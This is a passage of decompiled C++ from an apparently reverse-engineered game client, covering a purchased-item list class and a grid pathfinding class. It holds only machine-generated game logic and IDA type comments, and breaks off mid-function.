v6 - v7; for ( i = 0; i < v9; ++i ) *(_BYTE *)(i + v5) = tolower(*(_BYTE *)(i + v5)); v5 += 65; --v11; } while ( v11 ); } // 5DB5C0: using guessed type int dword_5DB5C0; // 5DB5C4: using guessed type int dword_5DB5C4; // 5DB5C8: using guessed type int dword_5DB5C8; // 5DB5CC: using guessed type char byte_5DB5CC; // 5DB5D4: using guessed type int dword_5DB5D4; // 5DB5D8: using guessed type int dword_5DB5D8; // 5DB5DC: using guessed type int dword_5DB5DC; // 5DB5E0: using guessed type void *off_5DB5E0; // 5DB5E8: using guessed type int dword_5DB5E8; // 5DB5EC: using guessed type int dword_5DB5EC; // 5DB5F0: using guessed type int dword_5DB5F0; // 5DB5F4: using guessed type __int16 word_5DB5F4; // 5DB5FC: using guessed type int dword_5DB5FC; // 5DB600: using guessed type void *off_5DB600; // 5DB628: using guessed type int dword_5DB628; // 5DB62C: using guessed type int dword_5DB62C; // 5DB630: using guessed type int dword_5DB630; // 5DB634: using guessed type void *off_5DB634; // 5DB63C: using guessed type int dword_5DB63C; // 5DB640: using guessed type int dword_5DB640; // 5DB644: using guessed type int dword_5DB644; // 5DB648: using guessed type char byte_5DB648; // 5DB650: using guessed type int dword_5DB650; // 5DB654: using guessed type int dword_5DB654; // 5DB658: using guessed type void *off_5DB658; // 5DB660: using guessed type int dword_5DB660; // 5DB664: using guessed type int dword_5DB664; // 5DB668: using guessed type __int16 word_5DB668; // 5DB66A: using guessed type char byte_5DB66A; // 5DB670: using guessed type int dword_5DB670; // 5DB674: using guessed type __int16 word_5DB674; // 5DB676: using guessed type char byte_5DB676; // 5DB67C: using guessed type int dword_5DB67C; // 5DB680: using guessed type int dword_5DB680; // 5DB684: using guessed type int dword_5DB684; // 5DB688: using guessed type char byte_5DB688; // 5DB690: using guessed type int dword_5DB690; // 5DB694: using guessed type void *off_5DB694; // 5DB69C: using guessed type int dword_5DB69C; // 5DB6A0: using guessed type int dword_5DB6A0; // 5DB6A4: using guessed type int dword_5DB6A4; // 5DB6A8: using guessed type void *off_5DB6A8; // 5DB6C8: using guessed type int dword_5DB6C8; // 5DB6CC: using guessed type int dword_5DB6CC; // 5DB6D0: using guessed type __int16 word_5DB6D0; // 5DB6D8: using guessed type int dword_5DB6D8; // 5DB6DC: using guessed type void *off_5DB6DC; // 5DB6E4: using guessed type int dword_5DB6E4; // 5DB6E8: using guessed type int dword_5DB6E8; // 5DB6EC: using guessed type char byte_5DB6EC; // 5DB6F4: using guessed type int dword_5DB6F4; // 5DB6F8: using guessed type int dword_5DB6F8; // 5DB6FC: using guessed type int dword_5DB6FC; // 5DB700: using guessed type __int16 word_5DB700; // 5DB708: using guessed type int dword_5DB708; // 5DB70C: using guessed type int dword_5DB70C; // 5DB710: using guessed type int dword_5DB710; // 5DB714: using guessed type void *off_5DB714; // 5DB71C: using guessed type int dword_5DB71C; // 5DB720: using guessed type __int16 word_5DB720; // 5DB722: using guessed type char byte_5DB722; // 5DB728: using guessed type int dword_5DB728; // 5DB72C: using guessed type int dword_5DB72C; // 5DB730: using guessed type __int16 word_5DB730; // 5DB738: using guessed type int dword_5DB738; // 5DB73C: using guessed type int dword_5DB73C; // 5DB740: using guessed type int dword_5DB740; // 5DB744: using guessed type __int16 word_5DB744; // 5DB764: using guessed type int dword_5DB764; // 5DB768: using guessed type int dword_5DB768; // 5DB76C: using guessed type void *off_5DB76C; // 5DB774: using guessed type int dword_5DB774; // 5DB778: using guessed type void *off_5DB778; //----- (00565760) -------------------------------------------------------- void __thiscall CChargedItem::CChargedItem(CChargedItem *this) { this->m_NumOfChargedItem = 0; } //----- (00565770) -------------------------------------------------------- void __thiscall CChargedItem::Clear(CChargedItem *this) { this->m_NumOfChargedItem = 0; } //----- (00565780) -------------------------------------------------------- int __thiscall CChargedItem::Add(CChargedItem *this, PROTO_CHARGED_ITEM_INFO *pInfo) { int v2; // eax@1 int result; // eax@2 char *v4; // eax@3 v2 = this->m_NumOfChargedItem; if ( v2 < 24 ) { v4 = (char *)this + 16 * v2; *(_DWORD *)v4 = pInfo->ItemOrderNo; *((_DWORD *)v4 + 1) = pInfo->ItemCode; *((_DWORD *)v4 + 2) = pInfo->ItemAmount; *((_DWORD *)v4 + 3) = pInfo->ItemRegisterDate._bf0; ++this->m_NumOfChargedItem; result = 1; } else { result = 0; } return result; } //----- (005657C0) -------------------------------------------------------- PROTO_CHARGED_ITEM_INFO *__thiscall CChargedItem::Find(CChargedItem *this, unsigned int ItemOrderNo) { int v2; // esi@1 int v3; // eax@1 CChargedItem *v4; // edx@2 PROTO_CHARGED_ITEM_INFO *result; // eax@5 v2 = this->m_NumOfChargedItem; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this; while ( v4->m_ChargedItemBF[0].ItemOrderNo != ItemOrderNo ) { ++v3; v4 = (CChargedItem *)((char *)v4 + 16); if ( v3 >= v2 ) goto LABEL_5; } result = (PROTO_CHARGED_ITEM_INFO *)((char *)this + 16 * v3); } return result; } //----- (00565800) -------------------------------------------------------- void __thiscall CFindWay::SetLoadedData(CFindWay *this, unsigned int uiRealOneSideDataSize, unsigned int uiOneSideBlockCnt, char *pBlockInfoByte) { CFindWay *v4; // esi@1 v4 = this; if ( this->m_pBlockInfoByte && this->m_bLoaded == 1 ) { operator delete(this->m_pBlockInfoByte); v4->m_pBlockInfoByte = 0; v4->m_bLoaded = 0; } v4->m_uiRealOneSideDataSize = uiRealOneSideDataSize; v4->m_uiOneSideBlockCnt = uiOneSideBlockCnt; v4->m_pBlockInfoByte = pBlockInfoByte; v4->FWMapSx = 8 * uiRealOneSideDataSize; v4->FWMapSy = uiOneSideBlockCnt; v4->m_bLoaded = 0; } //----- (00565850) -------------------------------------------------------- void __thiscall CFindWay::_CFindWay(CFindWay *this) { CFindWay *v1; // esi@1 v1 = this; if ( this->m_pBlockInfoByte && this->m_bLoaded == 1 ) { operator delete(this->m_pBlockInfoByte); v1->m_pBlockInfoByte = 0; v1->m_bLoaded = 0; } if ( v1->LenMap ) { operator delete(v1->LenMap); v1->LenMap = 0; } } //----- (005658A0) -------------------------------------------------------- int __thiscall CFindWay::LineIntersect(CFindWay *this) { CFindWay *v1; // edi@1 unsigned int v2; // ebx@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 unsigned int v5; // ebp@1 int v6; // esi@1 unsigned int v7; // eax@1 signed int v8; // edx@1 signed int v9; // ecx@1 int v10; // ebx@12 int v11; // ecx@12 bool v12; // cf@12 bool v13; // zf@12 unsigned int v14; // ecx@14 unsigned int y; // [sp+14h] [bp-18h]@1 unsigned int ay; // [sp+18h] [bp-14h]@5 int v18; // [sp+1Ch] [bp-10h]@5 signed int v19; // [sp+20h] [bp-Ch]@1 signed int by; // [sp+24h] [bp-8h]@1 v1 = this; v2 = this->Pos.X; v3 = this->LineStartPos.X; v4 = this->LineStartPos.Y; v5 = v1->LineStartPos.X; v6 = abs(v3 - v2); v7 = abs(v4 - v1->Pos.Y); v8 = v2 < v5 ? -1 : 1; y = v4; v9 = v1->Pos.Y < v4 ? -1 : 1; v19 = v2 < v5 ? -1 : 1; by = v9; if ( !v6 ) { v8 = 0; v19 = 0; } if ( !v7 ) { v9 = 0; by = 0; } v18 = v6; ay = v7; while ( v5 != v1->Pos.X || y != v1->Pos.Y ) { if ( v6 <= v7 == 0 ) { v5 += v8; ay += v7; if ( ay > v6 ) { y += v9; ay -= v6; } } else { v10 = v9 + y; v11 = v6 + v18; v12 = v6 + v18 < v7; v13 = v6 + v18 == v7; y = v10; v18 += v6; if ( !(v12 | v13) ) { v5 += v8; v18 = v11 - v7; } } v14 = v1->m_uiOneSideBlockCnt; if ( v5 >= v14 || y >= v14 || (unsigned __int8)(1 << (v5 - 8 * (v5 >> 3))) & *(&v1->m_pBlockInfoByte[y * v1->m_uiRealOneSideDataSize] + (v5 >> 3)) ) return 1; v8 = v19; v9 = by; } return 0; } //----- (005659F0) -------------------------------------------------------- void __thiscall CFindWay::LenMapInit(CFindWay *this, int nSizeX, int nSizeY) { CFindWay *v3; // esi@1 v3 = this; if ( this->LenMap && (this->LenMapSx != nSizeX || this->LenMapSy != nSizeY) ) { operator delete(this->LenMap); v3->LenMap = 0; } if ( !v3->LenMap ) { v3->LenMap = (unsigned __int16 *)operator new__(2 * nSizeY * nSizeX); v3->LenMapSx = nSizeX; v3->LenMapSy = nSizeY; } } //----- (00565A60) -------------------------------------------------------- void __thiscall CFindWay::LenMapClear(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // ecx@1 char v3; // dl@1 void *v4; // edi@1 int v5; // edi@1 int i; // ecx@1 int v7; // ecx@4 int v8; // edi@4 int v9; // ebp@4 int v10; // ebx@4 int v11; // eax@4 int v12; // edx@8 int v13; // edx@10 int v14; // [sp+10h] [bp-Ch]@4 v1 = this; v2 = 2 * this->LenMapSy * this->LenMapSx; v3 = v2; v4 = v1->LenMap; v2 >>= 2; memset(v4, -1, 4 * v2); v5 = (int)((char *)v4 + 4 * v2); for ( i = v3 & 3; i; --i ) *(_BYTE *)v5++ = -1; v7 = v1->StartPos.X; v8 = v1->StartPos.Y; v9 = v1->LenMapSx / 2; v10 = (signed int)(v1->EndPos.X - v7) / 2 - v9 + v7; v14 = v1->LenMapSy / 2; v11 = v8 + (signed int)(v1->EndPos.Y - v8) / 2 - v14; v1->BaseLenMapX = v10; v1->BaseLenMapY = v11; if ( v7 < v10 || v7 >= v10 + v1->LenMapSx || v8 < v11 || v8 >= v11 + v1->LenMapSy || (v12 = v1->EndPos.X, v12 < v10) || v12 >= v10 + v1->LenMapSx || (v13 = v1->EndPos.Y, v13 < v11) || v13 >= v11 + v1->LenMapSy ) { v1->BaseLenMapY = v8 - v14; v1->BaseLenMapX = v7 - v9; v1->LenMapInRange = 0; } else { v1->LenMapInRange = 1; } } //----- (00565B70) -------------------------------------------------------- int __thiscall CFindWay::LenMapSet(CFindWay *this, int x, int y, unsigned __int16 value) { int v4; // esi@1 int v5; // edx@2 int result; // eax@3 int v7; // edi@4 v4 = this->BaseLenMapX; if ( v4 <= x && (v5 = this->BaseLenMapY, v5 <= y) ) { v7 = this->LenMapSx; if ( v7 + v4 > x && v5 + this->LenMapSy > y ) { this->LenMap[x + v7 * (y - v5) - v4] = value; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (00565BE0) -------------------------------------------------------- int __thiscall CFindWay::SearchMoveable(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 int v5; // ebp@1 unsigned __int16 v6; // di@1 unsigned int v7; // ebx@2 unsigned int v8; // eax@3 unsigned int v9; // ecx@6 int v10; // ecx@7 unsigned int v11; // ecx@13 int v12; // ecx@14 int v13; // ecx@20 int v14; // ebx@20 unsigned int v15; // eax@21 unsigned int v16; // ecx@24 int v17; // ecx@25 unsigned int v18; // eax@29 int v19; // ecx@33 __int16 v20; // di@35 __int16 v21; // ax@35 unsigned int v22; // eax@40 unsigned int v23; // eax@42 unsigned int v24; // ecx@48 unsigned int v25; // eax@50 signed int FoundLen; // [sp+10h] [bp-14h]@1 unsigned int P2; // [sp+14h] [bp-10h]@1 int v29; // [sp+18h] [bp-Ch]@1 int P1; // [sp+1Ch] [bp-8h]@1 int v31; // [sp+20h] [bp-4h]@1 v1 = this; v2 = this->EndPos.X; v3 = this->EndPos.Y; v4 = v2 - 1; FoundLen = 0; v5 = v3 + 1; v31 = v3 - 1; v6 = 0; P1 = v2 - 1; P2 = v2 + 1; v29 = v3 + 1; while ( 2 ) { v7 = v4; if ( (signed int)v4 < (signed int)P2 ) { while ( 1 ) { v8 = v1->m_uiOneSideBlockCnt; if ( v7 >= v8 ) goto LABEL_18; if ( v31 < v8 && !((unsigned __int8)(1 << (v7 - 8 * (v7 >> 3))) & *(&v1->m_pBlockInfoByte[v31 * v1->m_uiRealOneSideDataSize] + (v7 >> 3))) ) { v9 = v1->StartPos.X; if ( FoundLen ) { v10 = abs(v31 - v1->StartPos.Y) + abs(v7 - v9); if ( v6 <= (unsigned __int16)v10 ) goto LABEL_11; v1->NewPos.Y = v31; v6 = v10; } else { v1->NewPos.Y = v31; v6 = abs(v31 - v1->StartPos.Y) + abs(v7 - v9); FoundLen = 1; } v1->NewPos.X = v7; } LABEL_11: if ( v29 >= v1->m_uiOneSideBlockCnt || (unsigned __int8)(1 << (v7 - 8 * (v7 >> 3))) & *(&v1->m_pBlockInfoByte[v29 * v1->m_uiRealOneSideDataSize] + (v7 >> 3)) ) goto LABEL_18; v11 = v1->StartPos.X; if ( !FoundLen ) { v1->NewPos.Y = v29; v6 = abs(v29 - v1->StartPos.Y) + abs(v7 - v11); FoundLen = 1; goto LABEL_17; } v12 = abs(v29 - v1->StartPos.Y) + abs(v7 - v11); if ( v6 > (unsigned __int16)v12 ) { v1->NewPos.Y = v29; v6 = v12; LABEL_17: v1->NewPos.X = v7; } LABEL_18: ++v7; if ( (signed int)v7 >= (signed int)P2 ) { v4 = P1; v5 = v29; break; } } } v13 = v31; v14 = v31 + 1; if ( v31 + 1 >= v5 - 1 ) goto LABEL_39; do { v15 = v1->m_uiOneSideBlockCnt; if ( v4 < v15 && v14 < v15 && !((unsigned __int8)(1 << (v4 - 8 * (v4 >> 3))) & *(&v1->m_pBlockInfoByte[v14 * v1->m_uiRealOneSideDataSize] + (v4 >> 3))) ) { v16 = v1->StartPos.Y; if ( !FoundLen ) { v1->NewPos.X = v4; v6 = abs(P1 - v1->StartPos.X) + abs(v14 - v16); FoundLen = 1; goto LABEL_28; } v17 = abs(P1 - v1->StartPos.X) + abs(v14 - v16); if ( v6 > (unsigned __int16)v17 ) { v1->NewPos.X = P1; v6 = v17; LABEL_28: v1->NewPos.Y = v14; goto LABEL_29; } } LABEL_29: v18 = v1->m_uiOneSideBlockCnt; if ( P2 < v18 && v14 < v18 && !((unsigned __int8)(1 << (P2 - 8 * (P2 >> 3))) & *(&v1->m_pBlockInfoByte[v14 * v1->m_uiRealOneSideDataSize] + (P2 >> 3))) ) { if ( FoundLen ) { v19 = abs(P2 - v1->StartPos.X) + abs(v14 - v1->StartPos.Y); if ( v6 <= (unsigned __int16)v19 ) goto LABEL_37; v1->NewPos.X = P2; v6 = v19; } else { v20 = abs(v14 - v1->StartPos.Y); v21 = abs(P2 - v1->StartPos.X); v1->NewPos.X = P2; v6 = v21 + v20; FoundLen = 1; } v1->NewPos.Y = v14; } LABEL_37: v5 = v29; v4 = P1; ++v14; } while ( v14 < v29 - 1 ); v13 = v31; LABEL_39: if ( !FoundLen ) { v22 = v1->StartPos.X; if ( v22 >= v4 ) { if ( v22 <= P2 ) { v23 = v1->StartPos.Y; if ( v23 >= v13 ) { if ( v23 <= v5 ) return 0; } } } if ( v4 ) { --v4; P1 = v4; } if ( v13 ) v31 = v13 - 1; v24 = v1->FWMapSx; if ( P2 < v24 ) ++P2; v25 = v1->FWMapSy; if ( v5 < v25 ) { ++v5; v29 = v5; } if ( !(v4 + v31) && v5 + P2 == v25 + v24 - 2 ) return 0; continue; } return 1; } } //----- (00565FA0) -------------------------------------------------------- void __thiscall CFindWay::FindWay(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // ecx@1 unsigned int v3; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // edi@1 unsigned int v6; // ecx@4 unsigned int v7; // eax@4 unsigned int v8; // edx@4 unsigned int v9; // ecx@5 unsigned int v10; // edx@5 bool v11; // zf@5 unsigned int v12; // ecx@8 unsigned int v13; // edx@8 unsigned int v14; // ecx@9 unsigned int v15; // edx@9 unsigned int v16; // eax@9 unsigned int v17; // ecx@10 unsigned int v18; // edx@10 unsigned int v19; // ebx@11 unsigned int v20; // edx@11 int v21; // edi@11 int v22; // ecx@11 int v23; // ebx@11 int v24; // eax@11 unsigned int v25; // eax@11 unsigned int v26; // ecx@11 unsigned int v27; // edx@12 unsigned int v28; // eax@12 int v29; // ecx@13 unsigned int v30; // ecx@17 int v31; // ecx@19 int v32; // edx@19 int v33; // eax@19 int v34; // edi@20 int v35; // ebx@21 int v36; // eax@23 unsigned int v37; // edx@23 unsigned int v38; // eax@23 unsigned int v39; // edi@24 int v40; // edx@24 int v41; // eax@24 int v42; // ebx@25 unsigned int v43; // ecx@29 int v44; // ecx@33 unsigned int v45; // eax@36 int v46; // ecx@36 int v47; // eax@36 __int16 v48; // di@36 unsigned int v49; // eax@36 int v50; // eax@36 unsigned int v51; // ecx@37 signed int v52; // edx@39 int v53; // eax@41 unsigned int v54; // eax@42 unsigned int v55; // ecx@46 unsigned int v56; // edx@46 unsigned int v57; // ecx@47 unsigned int v58; // edx@47 int v59; // eax@50 int v60; // edx@51 int v61; // edi@51 int v62; // ecx@52 int v63; // ebx@53 signed __int16 v64; // cx@55 int v65; // ecx@59 int v66; // ebx@59 int v67; // edx@59 int v68; // ecx@59 int v69; // edi@59 int v70; // edx@60 int v71; // ebx@61 signed __int16 v72; // dx@63 int v73; // edx@67 int v74; // ebx@67 int v75; // ecx@67 int v76; // edi@67 int v77; // ecx@67 int v78; // edx@68 int v79; // ebx@69 signed __int16 v80; // dx@71 int v81; // edx@75 int v82; // ebx@75 int v83; // ecx@75 int v84; // edx@75 int v85; // ecx@75 int v86; // edi@76 int v87; // ebx@77 signed __int16 v88; // di@79 int v89; // edi@83 unsigned int v90; // eax@84 int v91; // edx@84 int v92; // eax@84 bool v93; // sf@84 int v94; // eax@86 unsigned int v95; // ebx@86 int v96; // edi@86 unsigned int v97; // ebp@86 int v98; // ecx@88 int BI; // [sp+10h] [bp-10h]@23 signed __int16 BIa; // [sp+10h] [bp-10h]@47 signed int j; // [sp+14h] [bp-Ch]@50 int ja; // [sp+14h] [bp-Ch]@86 unsigned __int16 PosLenMapValue; // [sp+1Ch] [bp-4h]@23 v1 = this; v2 = this->EndPos.X; v3 = v1->m_uiOneSideBlockCnt; v4 = 0; v5 = v1->EndPos.Y; v1->NoJunc = 0; v1->ChangedEndPos = 0; if ( v2 >= v3 || v5 >= v3 || (unsigned __int8)(1 << (v2 - 8 * (v2 >> 3))) & *(&v1->m_pBlockInfoByte[v5 * v1->m_uiRealOneSideDataSize] + (v2 >> 3)) ) { v6 = v1->StartPos.X; v7 = v1->EndPos.Y; v1->LineStartPos.X = v1->EndPos.X; v8 = v1->StartPos.Y; v1->Pos.X = v6; v1->LineStartPos.Y = v7; v1->Pos.Y = v8; if ( !CFindWay::SearchMoveable(v1) ) { v12 = v1->StartPos.X; v13 = v1->StartPos.Y; v1->GoalReached = 0; v1->ChangedEndPos = 1; v1->EndPos.X = v12; v1->EndPos.Y = v13; v1->JuncList[0].X = v12; v1->JuncList[0].Y = v13; v1->NumOfJunc = 1; return; } v9 = v1->NewPos.Y; v10 = v1->NewPos.X; v1->EndPos.X = v10; v1->EndPos.Y = v9; v1->JuncList[0].X = v10; v11 = v10 == v1->StartPos.X; v1->JuncList[0].Y = v9; v1->ChangedEndPos = 1; if ( v11 && v1->EndPos.Y == v1->StartPos.Y ) { v1->GoalReached = 0; v1->NumOfJunc = 1; return; } } v14 = v1->StartPos.Y; v15 = v1->EndPos.X; v1->LineStartPos.X = v1->StartPos.X; v16 = v1->EndPos.Y; v1->LineStartPos.Y = v14; v1->Pos.X = v15; v1->Pos.Y = v16; if ( CFindWay::LineIntersect(v1) ) { CFindWay::LenMapClear(v1); v19 = v1->EndPos.X; v20 = v1->EndPos.Y; v21 = v1->StartPos.X; v1->PList[0].Y = v1->StartPos.Y; v1->PList[0].X = v21; v22 = v21 - v19; v23 = v1->StartPos.Y; v24 = v1->StartPos.Y - v20; v1->DiffY = v24; v1->DiffX = v22; v1->LList[0] = abs(v22) + abs(v24); v1->PCnt = 1; CFindWay::LenMapSet(v1, v21, v23, 1u); v25 = v1->StartPos.Y; v26 = v1->StartPos.X; v1->Pos.X = v26; v1->Pos.Y = v25; v1->NewPos.X = v26; v1->NewPos.Y = v25; v1->Step = 1; v1->GoalReached = 0; v1->NearLength = -1; do { v27 = v1->PCnt; v28 = 0; v1->Shortest = v4; if ( v27 > v4 ) { v29 = (int)v1->LList; do { if ( *(_WORD *)v29 < v1->LList[v1->Shortest] ) v1->Shortest = v28; ++v28; v29 += 2; } while ( v28 < v1->PCnt ); } v30 = v1->Shortest; v1->Pos.X = v1->PList[v30].X; v1->Pos.Y = v1->PList[v30].Y; if ( v1->LList[v30] < v1->NearLength ) { v1->NearPos.X = v1->Pos.X; v1->NearPos.Y = v1->Pos.Y; v1->NearLength = v1->LList[v30]; } v1->PCnt = v27 - 1; v1->PList[v30].X = v1->PList[v27 - 1].X; v1->PList[v30].Y = v1->PList[v27 - 1].Y; v1->LList[v1->Shortest] = v1->LList[v1->PCnt]; v31 = v1->Pos.X; v32 = v1->BaseLenMapX; v33 = v1->Pos.Y; if ( v32 <= v31 ) { v34 = v1->BaseLenMapY; if ( v34 <= v33 ) { v35 = v1->LenMapSx; if ( v35 + v32 > v31 ) { if ( v34 + v1->LenMapSy > v33 ) { v36 = v35 * (v33 - v34) - v32; v37 = v1->Pos.X; PosLenMapValue = v1->LenMap[v31 + v36] + 1; v38 = v1->Pos.Y; v1->NewPos.Y = v38; v1->NewPos.X = v37; v1->Dir = 2; v1->NewPos.Y = v38 - 1; BI = 0; do { v39 = v1->NewPos.X; v40 = v1->BaseLenMapX; v41 = v1->NewPos.Y; if ( v40 <= (signed int)v39 ) { v42 = v1->BaseLenMapY; if ( v42 <= v41 ) { if ( v40 + v1->LenMapSx > (signed int)v39 ) { if ( v42 + v1->LenMapSy > v41 ) { if ( v1->LenMap[v39 + v1->LenMapSx * (v41 - v42) - v40] == -1 ) { v43 = v1->m_uiOneSideBlockCnt; if ( v39 < v43 ) { if ( v41 < v43 ) { if ( !((unsigned __int8)(1 << (v39 - 8 * (v39 >> 3))) & *(&v1->m_pBlockInfoByte[v41 * v1->m_uiRealOneSideDataSize] + (v39 >> 3))) ) { if ( v40 <= (signed int)v39 ) { v44 = v1->BaseLenMapY; if ( v44 <= v41 ) { if ( v40 + v1->LenMapSx > (signed int)v39 ) { if ( v42 + v1->LenMapSy > v41 ) { v1->LenMap[v39 + v1->LenMapSx * (v41 - v44) - v40] = PosLenMapValue; v45 = v1->PCnt; v1->PList[v45].X = v1->NewPos.X; v1->PList[v45].Y = v1->NewPos.Y; v46 = v1->NewPos.X - v1->EndPos.X; v47 = v1->NewPos.Y - v1->EndPos.Y; v1->DiffY = v47; v48 = abs(v47); v49 = v1->PCnt; v1->DiffX = v46; v1->LList[v49] = abs(v46) + v48; v50 = v1->PCnt + 1; v1->PCnt = v50; if ( (unsigned int)v50 >= 0x300 ) break; } } } } } } } } } } } } v51 = v1->NewPos.X; if ( v51 != v1->EndPos.X || v1->NewPos.Y != v1->EndPos.Y ) { v52 = BI; } else { v1->GoalReached = 1; v52 = 7; } v53 = v1->Dir; v1->NewPos.X = v51 + v1->XTbl[v53]; v1->NewPos.Y += v1->YTbl[v53]; v1->Dir = v1->DirTbl[v53]; BI = v52 + 1; } while ( (unsigned int)(v52 + 1) < 8 ); } } } } v54 = v1->PCnt; v4 = 0; } while ( v54 < 0x300 && !v1->GoalReached && v54 ); if ( !v1->GoalReached ) { v55 = v1->NearPos.X; v56 = v1->NearPos.Y; v1->ChangedEndPos = 1; v1->EndPos.X = v55; v1->EndPos.Y = v56; } v57 = v1->EndPos.Y; v58 = v1->EndPos.X; v1->NewPos.X = v58; v1->NewPos.Y = v57; v1->JuncBF[0].X = v58; v1->JuncBF[0].Y = v57; BIa = -1; v1->NoJunc = 1; while ( v1->NewPos.X != v1->StartPos.X || v1->NewPos.Y != v1->StartPos.Y ) { --v1->NewPos.Y; v59 = v1->BaseLenMapX; v1->Dir = 2; j = 2; do { v60 = v1->NewPos.X; v61 = v1->NewPos.Y; if ( v59 <= v60 ) { v62 = v1->BaseLenMapY; if ( v62 <= v61 ) { v63 = v1->LenMapSx; if ( v63 + v59 > v60 ) { if ( v62 + v1->LenMapSy > v61 ) { v64 = v1->LenMap[v60 + v63 * (v61 - v62) - v59]; if ( v64 < (unsigned __int16)BIa ) { if ( v60 < v1->FWMapSx && v61 < v1->FWMapSy ) { BIa = v64; v1->ShPos.X = v60; v1->ShPos.Y = v61; } } } } } } v65 = v1->Dir; v66 = v60 + v1->XTbl[v65]; v1->NewPos.X = v66; v67 = v61 + v1->YTbl[v65]; v1->NewPos.Y = v67; v1->Dir = v1->DirTbl[v65]; v68 = v66; v69 = v67; if ( v59 <= v66 ) { v70 = v1->BaseLenMapY; if ( v70 <= v69 ) { v71 = v1->LenMapSx; if ( v71 + v59 > v68 ) { if ( v70 + v1->LenMapSy > v69 ) { v72 = v1->LenMap[v68 + v71 * (v69 - v70) - v59]; if ( v72 < (unsigned __int16)BIa ) { if ( v68 < v1->FWMapSx && v69 < v1->FWMapSy ) { BIa = v72; v1->ShPos.X = v68; v1->ShPos.Y = v69; } } } } } } v73 = v1->Dir; v74 = v68 + v1->XTbl[v73]; v1->NewPos.X = v74; v75 = v69 + v1->YTbl[v73]; v1->NewPos.Y = v75; v76 = v75; v77 = v74; v1->Dir = v1->DirTbl[v73]; if ( v59 <= v74 ) { v78 = v1->BaseLenMapY; if ( v78 <= v76 ) { v79 = v1->LenMapSx; if ( v79 + v59 > v77 ) { if ( v78 + v1->LenMapSy > v76 ) { v80 = v1->LenMap[v77 + v79 * (v76 - v78) - v59]; if ( v80 < (unsigned __int16)BIa ) { if ( v77 < v1->FWMapSx && v76 < v1->FWMapSy ) { BIa = v80; v1->ShPos.X = v77; v1->ShPos.Y = v76; } } } } } } v81 = v1->Dir; v82 = v77 + v1->XTbl[v81]; v1->NewPos.X = v82; v83 = v76 + v1->YTbl[v81]; v1->NewPos.Y = v83; v1->Dir = v1->DirTbl[v81]; v84 = v83; v85 = v82; if ( v59 <= v82 ) { v86 = v1->BaseLenMapY; if ( v86 <= v84 ) { v87 = v1->LenMapSx; if ( v87 + v59 > v85 ) { if ( v86 + v1->LenMapSy > v84 ) { v88 = v1->LenMap[v85 + v87 * (v84 - v86) - v59]; if ( v88 < (unsigned __int16)BIa ) { if ( v85 < v1->FWMapSx && v84 < v1->FWMapSy ) { BIa = v88; v1->ShPos.X = v85; v1->ShPos.Y = v84; } } } } } } v89 = v1->Dir; v1->NewPos.X = v85 + v1->XTbl[v89]; v1->NewPos.Y = v84 + v1->YTbl[v89]; v11 = j == 1; v1->Dir = v1->DirTbl[v89]; --j; } while ( !v11 ); v90 = v1->ShPos.X; v91 = v1->NoJunc; v1->NewPos.Y = v1->ShPos.Y; v1->NewPos.X = v90; v1->JuncBF[v91].X = v90; v1->JuncBF[v91].Y = v1->ShPos.Y; v92 = v1->NoJunc + 1; v4 = 0; v93 = v1->NoJunc - 511 < 0; v1->NoJunc = v92; if ( !(v93 ^ __OFSUB__(v92, 512)) ) { v1->GoalReached = 0; break; } } v94 = v1->NoJunc; v95 = v1->StartPos.X; v96 = 0; v1->NumOfJunc = v4; v97 = v1->StartPos.Y; ja = v94; while ( v96 < ja ) { v1->LineStartPos.X = v95; v1->LineStartPos.Y = v97; v1->Pos.X = v1->JuncBF[v96].X; v1->Pos.Y = v1->JuncBF[v96].Y; if ( CFindWay::LineIntersect(v1) ) { ++v96; } else { v95 = v1->JuncBF[v96].X; v97 = v1->JuncBF[v96].Y; v98 = v1->NumOfJunc; v1->JuncList[v98].X = v1->JuncBF[v96].X; v1->JuncList[v98].Y = v1->JuncBF[v96].Y; ja = v96; ++v1->NumOfJunc; v96 = 0; } } } else { v17 = v1->EndPos.X; v18 = v1->EndPos.Y; v1->GoalReached = 1; v1->JuncList[0].X = v17; v1->JuncList[0].Y = v18; v1->NumOfJunc = 1; } } //----- (00566960) -------------------------------------------------------- void __thiscall CFindWay::Init(CFindWay *this) { CFindWay *v1; // ebp@1 int v2; // edx@1 int v3; // ecx@1 int dwXTbl; // [sp+10h] [bp-7Ch]@1 int v5; // [sp+14h] [bp-78h]@1 int v6; // [sp+18h] [bp-74h]@1 int v7; // [sp+1Ch] [bp-70h]@1 int v8; // [sp+20h] [bp-6Ch]@1 int v9; // [sp+24h] [bp-68h]@1 int v10; // [sp+28h] [bp-64h]@1 int v11; // [sp+2Ch] [bp-60h]@1 int v12; // [sp+30h] [bp-5Ch]@1 int v13; // [sp+34h] [bp-58h]@1 int v14; // [sp+38h] [bp-54h]@1 int v15; // [sp+3Ch] [bp-50h]@1 int v16; // [sp+40h] [bp-4Ch]@1 int dwYTbl; // [sp+44h] [bp-48h]@1 int v18; // [sp+48h] [bp-44h]@1 int v19; // [sp+4Ch] [bp-40h]@1 int v20; // [sp+50h] [bp-3Ch]@1 int v21; // [sp+54h] [bp-38h]@1 int v22; // [sp+58h] [bp-34h]@1 int v23; // [sp+5Ch] [bp-30h]@1 int v24; // [sp+60h] [bp-2Ch]@1 int v25; // [sp+64h] [bp-28h]@1 int v26; // [sp+68h] [bp-24h]@1 int v27; // [sp+6Ch] [bp-20h]@1 int v28; // [sp+70h] [bp-1Ch]@1 int v29; // [sp+74h] [bp-18h]@1 int bDirTbl; // [sp+78h] [bp-14h]@1 int v31; // [sp+7Ch] [bp-10h]@1 int v32; // [sp+80h] [bp-Ch]@1 v1 = this; v32 = 513; v6 = 1; v13 = 1; v19 = 1; v21 = 1; bDirTbl = 100926208; v31 = 786440; dwXTbl = 0; v5 = 0; v7 = 2; v8 = -1; v9 = 0; v10 = 0; v11 = 0; v12 = -1; v14 = 0; v15 = 0; v16 = -2; dwYTbl = 0; v18 = -1; v20 = 0; v22 = 0; v23 = 2; v24 = 0; v25 = -1; v26 = -2; v27 = 0; v28 = 0; v29 = 0; this->NoJunc = 0; this->NumOfJunc = 0; this->LenMap = 0; 